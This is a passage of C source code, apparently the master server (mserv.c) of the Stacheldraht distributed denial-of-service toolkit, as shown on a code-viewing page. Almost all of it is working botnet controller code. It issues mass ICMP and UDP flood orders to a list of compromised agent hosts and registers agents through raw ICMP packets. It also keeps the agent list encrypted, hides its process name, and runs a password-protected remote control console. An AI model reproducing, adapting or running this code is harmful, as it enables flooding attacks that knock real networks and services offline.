📄 mserv.c
字号:
savi2=(char*)&sendbuffer; if (strlen(buffer)<=7) { ffprintf("usage: .micmp <ip1:ip2:ip3:ip4:ip5 etc..>\n",fd); return; } if (flood) { ffprintf("the net is already packeting.\n",fd); return; } floodt=ICMP; if (ptimer!=0) endmtime=ptimer+time(NULL); memset((void*)&sendbuffer,0,sizeof(sendbuffer)); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass icmp bombing\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) { PARAM=NULL; savi=pointi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } if (resolv) hostenti=gethostbyname(pointi);/* sprintf(text,"packeting - "); ffprintf(text,fd); */ if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); } else { *(int*)savi2=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; /* sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); */ } } else { /* sprintf(text,"%s\n",pointi); ffprintf(text,fd); */ *(int*)savi2=inet_addr(pointi); } floodcount++; savi2=savi2+4; } *savi2=0; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) { for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_ICMP,savi2,sizeof(sendbuffer)); } /* set internal flood variable */ flood=1;}void massudp(int fd,char *buffer) { char *PARAM; char *pointi; char *savi; char *savi2; int floodcount; int counti; struct hostent *hostenti; int tempi; savi2=(char*)&sendbuffer; if (strlen(buffer)<=6) { ffprintf("usage: .mudp <ip1:ip2:ip3:ip4:ip5 etc..>\n",fd); return; } if (flood) { ffprintf("the net is already packeting.\n",fd); return; } if (ptimer!=0) endmtime=ptimer+time(NULL); floodt=UDP; memset((void*)&sendbuffer,0,sizeof(sendbuffer)); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass udp bombing\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) { PARAM=NULL; savi=pointi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } if (resolv) hostenti=gethostbyname(pointi);// ffprintf("packeting - ",fd); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); } else { *(int*)savi2=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; /* sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); */ } } else { /* sprintf(text,"%s\n",pointi); ffprintf(text,fd); */ *(int*)savi2=inet_addr(pointi); } floodcount++; savi2=savi2+4; } savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) { for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDUDP,savi2,sizeof(sendbuffer)); } /* set internal flood variable */ flood=1;}void alrmsig(){ exit(0);}void mpingbcasts(int fd,int option){ #define CONNECTED 1 #define NOTCON 0 #define FAILED 2 #define SOCKTIMEOUT 5 struct sockies { int socket; char status; int timeout; }; int there; int count2; int listensocket; int received; int endtime; int MAXTIME=15; int alive; int dead; int rcount; int counti2; struct ippkt packet; fd_set fdset; struct timeval timi; int connectsocket; /* 1000 structures are needed for connect */ struct sockies connectstruct[MAXBCASTS]; struct timeval tv; fd_set readset,writeset; int error; int laenge = sizeof(error); int lastsock; int result; int timeout; int oldflags; int failedcount; int remainder; int alreadydone; char alreadyreplied; if (helpit) return; readintmp(); if (option==3) { if (trinoo) sprintf(prompti,"tR1n00(status: a!%i d!%i)>",albcasts,(bcastcount-albcasts)); else sprintf(prompti,"stacheldraht(status: a!%i d!%i)>",albcasts,(bcastcount-albcasts)); return; } if ((option!=4) && (option!=5)) { sprintf(text,"total bcasts : %d - 100%\n",bcastcount); ffprintf(text,fd); if (albcasts==0) sprintf(text,"alive bcasts : 0 - 0%\n"); else sprintf(text,"alive bcasts : %d - %d%\n",albcasts,(albcasts*1000/(bcastcount*1000/100))); ffprintf(text,fd); sprintf(text,"dead bcasts : %d - %d%\n",(bcastcount-albcasts),((bcastcount-albcasts)*1000/(bcastcount*1000/100))); ffprintf(text,fd); } if (option==5) { ffprintf("showing the alive bcasts...\n",fd); ffprintf("---------------------------\n",fd); for (count2=0;count2<bcastcount;count2++) { there=0; count=0; while (replies[count]!=0) { if (bcasts[count2]==replies[count]) there=1; count++; } if (there==1) { amanda.s_addr=bcasts[count2]; sprintf(text,"%s\n",inet_ntoa(amanda)); ffprintf(text,fd); } } ffprintf("---------------------------\n",fd); sprintf(text,"alive bcasts: %i\n",albcasts); ffprintf(text,fd); } if (option==4) { ffprintf("showing the dead bcasts...\n",fd); ffprintf("--------------------------\n",fd); for (count2=0;count2<bcastcount;count2++) { there=0; count=0; while (replies[count]!=0) { if (bcasts[count2]==replies[count]) there=1; count++; } if (there==0) { amanda.s_addr=bcasts[count2]; sprintf(text,"%s\n",inet_ntoa(amanda)); ffprintf(text,fd); } } ffprintf("--------------------------\n",fd); sprintf(text,"dead bcasts: %i\n",bcastcount-albcasts); ffprintf(text,fd); } if (option==2) { ffprintf("sorting out all the dead bcasts\n",fd); ffprintf("-------------------------------\n",fd); for (count2=0;count2<bcastcount;count2++) { there=0; count=0; while (replies[count]!=0) { if (bcasts[count2]==replies[count]) there=1; count++; } if (there==0) bcasts[count2]=666; } sprintf(text,"%d dead bcasts were sorted out.\n",(bcastcount-albcasts)); writebcasts(); ffprintf(text,fd); ffprintf("-------------------------------\n",fd); } close(listensocket);}void writetmpfile() { FILE *fili; FILE *tmpfile; int killed; int count2; /* allocated memory for the bcasts */ char *allocmem; char *savealloc; char muellbuffer[100000]; char muellbuffer2[MAXBCASTS*4]; char *encryptedmem; killed=0; count2=0; if ((fili=fopen("tmp","w+"))!=NULL) { /* masterserver can handle bcasts up to MAXBCASTS */ allocmem=malloc(100000); encryptedmem=malloc(100000); /* zero all entries */ memset((void*)&tmpcasts,0,sizeof(tmpcasts)); memset(allocmem,0,100000); memset(encryptedmem,0,100000); savealloc=allocmem; for (count=0;count<bcastcount_alive;count++) { if (bcasts_alive[count]!=666) { amanda.s_addr=bcasts_alive[count]; tmpcasts[count2]=bcasts_alive[count]; strcpy(savealloc,(char*)inet_ntoa(amanda)); savealloc=savealloc+strlen(inet_ntoa(amanda)); *savealloc=0x20; savealloc++; count2++; } else killed++; } /* calculate new amount of bcasts *//* if ((bcastcount==1) && (killed==1)) { bcastcount=0; memset((void*)&bcasts,0,sizeof(bcasts)); fclose(fili); unlink(BCASTFILENAME); return; } */// bcastcount_alive=bcastcount_alive-killed; memcpy((void*)&bcasts_alive,(void*)&tmpcasts,bcastcount_alive*4); strcpy(encryptedmem,encrypt_string(SALT,allocmem)); fwrite(encryptedmem,strlen(encryptedmem),1,fili); fclose(fili); free(allocmem); free(encryptedmem); }}void writebcasts() { FILE *fili; FILE *tmpfile; int killed; int count2; /* allocated memory for the bcasts */ char *allocmem; char *savealloc; char muellbuffer[100000]; char muellbuffer2[MAXBCASTS*4]; char *encryptedmem; killed=0; count2=0; if ((fili=fopen(BCASTFILENAME,"w+"))!=NULL) { /* masterserver can handle bcasts up to MAXBCASTS */ allocmem=malloc(100000); encryptedmem=malloc(100000); /* zero all entries */ memset((void*)&tmpcasts,0,sizeof(tmpcasts)); memset(allocmem,0,100000); memset(encryptedmem,0,100000); savealloc=allocmem; for (count=0;count<bcastcount;count++) { if (bcasts[count]!=666) { amanda.s_addr=bcasts[count]; tmpcasts[count2]=bcasts[count]; strcpy(savealloc,(char*)inet_ntoa(amanda)); savealloc=savealloc+strlen(inet_ntoa(amanda)); *savealloc=0x20; savealloc++; count2++; } else killed++; } /* calculate new amount of bcasts */ if ((bcastcount==1) && (killed==1)) { bcastcount=0; memset((void*)&bcasts,0,sizeof(bcasts)); fclose(fili); unlink(BCASTFILENAME); return; } bcastcount=bcastcount-killed; memcpy((void*)&bcasts,(void*)&tmpcasts,bcastcount*4); strcpy(encryptedmem,encrypt_string(SALT,allocmem)); fwrite(encryptedmem,strlen(encryptedmem),1,fili); fclose(fili); free(allocmem); free(encryptedmem); } }void readintmp() { FILE *fili; int temp; long filesize; /* allocated memory for the bcasts */ char *allocmem; int *savealloc; char *encryptedmem; char *decryptedmem; char *pointi; char scheissbuffer[100000]; char scheissbuffer2[100000]; char sicken[1000]; char *sickpoint; albcasts=0; bcastcount_alive=0; if ((fili=fopen("tmp","r"))!=0) { /* needed for the blowfish encryption of the bcasts */ encryptedmem=(char*)&scheissbuffer; decryptedmem=(char*)&scheissbuffer2; fseek(fili,0,2); fgetpos(fili,&filesize); fseek(fili,0,0); fread(encryptedmem,filesize,1,fili); memset(decryptedmem,0,100000); memcpy(decryptedmem,decrypt_string(SALT,encryptedmem),filesize); count=0; bcastcount_alive=0; while (*decryptedmem!='\0') { sickpoint=(char*)&sicken; while (*decryptedmem!=' ') { *sickpoint++=*decryptedmem++; } *sickpoint='\0'; decryptedmem++; replies[count]=inet_addr(sicken); bcastcount_alive++; albcasts++; count++; } fclose(fili); }}/* read all the bcasts into memory */void readinbcasts() { FILE *fili; int temp; long filesize; /* allocated memory for the bcasts */ char *allocmem; int *savealloc; char *encryptedmem; char *decryptedmem; char *pointi; char scheissbuffer[100000]; char scheissbuffer2[100000]; char sicken[1000]; char *sickpoint; bcastcount=0; if ((fili=fopen(BCASTFILENAME,"r"))!=0) { /* needed for the blowfish encryption of the bcasts */ encryptedmem=(char*)&scheissbuffer; decryptedmem=(char*)&scheissbuffer2; fseek(fili,0,2); fgetpos(fili,&filesize); fseek(fili,0,0); fread(encryptedmem,filesize,1,fili); memset(decryptedmem,0,100000); memcpy(decryptedmem,decrypt_string(SALT,encryptedmem),filesize); count=0; bcastcount=0; while (*decryptedmem!='\0') { sickpoint=(char*)&sicken; while (*decryptedmem!=' ') { *sickpoint++=*decryptedmem++; } *sickpoint='\0'; decryptedmem++; bcasts[count]=inet_addr(sicken);// printf("%s\n",sicken); bcastcount++; count++; } fclose(fili); }}int main(int argc,char **boo){ int endtime; int tosend; int pid; int socki; int newsocket; int listensocket; int received; struct sockaddr_in socketmuell; int clientlength=sizeof(struct sockaddr_in); struct ippkt packet; FILE *fili; char trala[20]; int nobcasts=1; int temp; int already; int refreshtime; char *crappointi; char decrypted[1024]; char encrypted[1024]; char *ficken; char *oldfick; signal (SIGHUP, SIG_IGN); signal (SIGTERM, SIG_IGN); signal (SIGCHLD, SIG_IGN); strcpy(boo[0],moo); printf("[*]-stacheldraht-[*] - forking in the background...\n"); readinbcasts(); printf("%i bcasts were successfully read in.\n",bcastcount);/* mpingbcasts(stdin,".mping"); exit(0); */ pid=fork(); if (pid==0) { listensocket=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); fcntl(listensocket,F_SETFL,O_NONBLOCK); /* delete the file every 60 seconds */ refreshtime=time(NULL)+10; while (1) { if (refreshtime<time(NULL)) { refreshtime=time(NULL)+10; memset((void*)&bcasts_alive,0,sizeof(bcasts_alive)); bcastcount_alive=0; unlink("tmp"); } memset((void*)&packet,0,sizeof(struct ippkt)); read(listensocket,(char*)&packet,sizeof(struct ippkt)); tosend=0; usleep(100); readinbcasts(); if (packet.ipi.ip_src.s_addr==inet_addr("3.3.3.3")) { send_connect(inet_addr(packet.buffer),SPOOF_REPLY,"spoofworks",10); } amanda.s_addr=packet.ipi.ip_src.s_addr; strcpy((char*)&trala,(char*)inet_ntoa(amanda)); if (ntohs(packet.icmpi.icmp_hun.ih_idseq.icd_id)==6666) { amanda.s_addr=packet.ipi.ip_src.s_addr; strcpy((char*)&trala,(char*)inet_ntoa(amanda)); send_connect(inet_addr(trala),6667,"ficken",6); already=0; for (count=0;count<bcastcount;count++) { if (bcasts[count]==packet.ipi.ip_src.s_addr) already=1; } if (already==0) { bcasts[count]=packet.ipi.ip_src.s_addr; bcastcount++; writebcasts(); readinbcasts(); } already=0; for (count=0;count<bcastcount_alive;count++) { if (bcasts_alive[count]==packet.ipi.ip_src.s_addr) already=1; } if (already==0) { bcasts_alive[count]=packet.ipi.ip_src.s_addr; bcastcount_alive++; writetmpfile(); } } } } /* fork the listen routine */ childcount=0; memset(pids,0,sizeof(pids)); if (fork()==0) { readinbcasts(); socki=socket(AF_INET,SOCK_STREAM,0); socketmuell.sin_port=htons(MSERVERPORT); socketmuell.sin_addr.s_addr=htonl(INADDR_ANY); socketmuell.sin_family=AF_INET; bind(socki,(struct sockaddr *)&socketmuell,sizeof(socketmuell)); listen(socki,5); while (1) { newsocket=accept(socki,(struct sockaddr *)&socketmuell,&clientlength); /* fork a client */ pid=fork(); if (pid==0) { close(socki); publicfd=newsocket; memset(decrypted,0,sizeof(decrypted)); read(newsocket,encrypted,sizeof(encrypted)); decryptstuff(encrypted,decrypted,SALT); if (strcmp(decrypted,"authentication")) { strcpy(decrypted,"failed"); write(newsocket,decrypted,sizeof(decrypted)); close(newsocket); exit(0); } pid=getpid(); childcount=0; while (1) { if (pids[childcount]==0) { pids[childcount]=pid; break; } childcount++; } write(newsocket,encrypted,sizeof(encrypted)); sleep(5); ffprintf("******************************\n",newsocket); ffprintf(" welcome to stacheldraht \n",newsocket); ffprintf("******************************\n",newsocket); ffprintf("type .help if you are lame\n\n",newsocket); setupfdroutine(newsocket); exit(0); } childcount=0; while (1) { if (pids[childcount]==0) { pids[childcount]=pid; break; } childcount++; } close(newsocket); } }}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -